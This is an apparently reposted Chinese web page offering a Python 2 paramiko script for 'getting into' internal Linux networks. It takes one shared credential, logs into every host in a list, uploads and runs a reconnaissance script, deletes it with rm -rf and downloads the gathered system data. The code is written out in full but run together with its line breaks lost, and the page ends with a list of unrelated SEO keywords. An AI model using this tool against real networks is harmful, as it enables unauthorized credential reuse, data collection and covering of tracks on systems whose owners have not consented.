ssh批量登录 上传 执行命令 下载文件
发表于:2025-12-04 作者:千家信息网编辑
千家信息网最后更新 2025年12月04日,用途:搞linux主机的内网,拿到通用的账户密码,批量登录,上传系统信息收集脚本,把执行的结果拉回本地,用于分析。缺点:不支持多线程 密码必须正确切可连通 端口硬编码为22 如果不是22 请自行修改执
千家信息网最后更新 2025年12月04日ssh批量登录 上传 执行命令 下载文件
用途:
搞linux主机的内网,拿到通用的账户密码,批量登录,上传系统信息收集脚本,把执行的结果拉回本地,用于分析。
缺点:
不支持多线程 密码必须正确切可连通 端口硬编码为22 如果不是22 请自行修改
执行过程:
执行ssh.py root root 会自动登录ssh,上传本地文件目录下的1.py文件到linux服务器tmp目录,执行/tmp/1.py文件,删除/tmp/1.py文件,把1.py执行的文件的生成的test.txt下载回本地。注意:下载的文件名已硬编码在1.py文件28行,如果下载的文件是其他的名字 请自行修改(下载文件跟生成的文件是相互的 两个文件都需要改动)

# -*- coding: utf_8 -*-# Date: 2015/5/15# author:sanrimport paramiko,time,sys,osdef README(): print '+' + '-' * 50 + '+' print u'\t Python ssh批量登录脚本' print u'\t ip请写入iplist.txt ' print u'\t Time:2015-5-15' print u'\t author : sanr' print '+' + '-' * 50 + '+' if len(sys.argv) != 3: print u'[+]用法:'+os.path.basename(sys.argv[0]) + " user pass" print u'[+]实例:'+os.path.basename(sys.argv[0]) + " root root" sys.exit()def upload(host,user,pswd): try: ssh = paramiko.Transport((host,22)) ssh.connect(username = user, password = pswd) sftp = paramiko.SFTPClient.from_transport(ssh) sftp.put("./1.py","/tmp/1.py") print '[+]'+host,u'ssh已登陆', # 调用执行命令函数 ssh3(host,user,pswd) # 调用创建目录函数 mkdir(host) # 下载远程主机文件 sftp.get("/tmp/test.txt", "./"+host+"/result.txt") print u'信息收集结果已成功下载' ssh.close() except: passdef ssh3(host,user,pswd): try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(host,22,user,pswd, timeout=5) #stdin, stdout, stderr = ssh.exec_command('ifconfig;free') #print stdout.read() #执行命令 修改上传1.py的代码权限为777 执行1.py脚本 删除1.py脚本 stdin, stdout, stderr = ssh.exec_command('chmod 777 /tmp/1.py;/usr/bin/python /tmp/1.py;rm -rf /tmp/1.py') ssh.close() except: passdef mkdir(path): # 引入模块 import os # 判断路径是否存在 # 存在 True # 不存在 False isExists=os.path.exists(path) # 判断结果 if not isExists: # 创建目录操作函数 os.makedirs(path) # 如果不存在则创建目录 print u' 创建目录成功', return True else: # 如果目录存在则不创建,并提示目录已存在 print u'本地目录已存在', return Falseif __name__=='__main__': README() start_time = time.time() with open('./iplist.txt', 'r') as f: for ip in f: host=ip.strip() user=sys.argv[1] pswd=sys.argv[2] upload(host,user,pswd) print u'[+] 报告大爷 信息已收集完毕,用时:%d 秒' % (time.time() - start_time)
文件
目录
脚本
登录
信息
函数
结果
命令
成功
主机
密码
编码
生成
两个
代码
名字
大爷
实例
报告
文件名
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
企业网络安全设计书
哪个机子不能打开数据库文件
三级网络技术 视频
魔兽服务器奎尔塞拉
第一章网络安全重要性
字库制作软件开发
mysql数据库最大数据库
服务器进入驱动安装模式
网络安全设备解析
大学生创业软件开发
上海互联网科技展览
软件开发专业属于文科还是理科
新乡市飞燕网络技术电话
数据库的范式要求描述正确的是
服务器电源是越高越好
机房服务器专用机柜
数据库并发操作两种方法
网络安全的作用是什么意思
即墨区app软件开发哪家靠谱
深圳软件开发科技有限
金税三期系统数据库
网络安全网络数据
万方数据库专利查询
网络安全密钥水杨酸产品
网络技术技术展望
java 数据库 编程
用友软件T十6服务器配置
icp备案和网络安全备案
有关网络安全知识报告
vfp数据库应用技术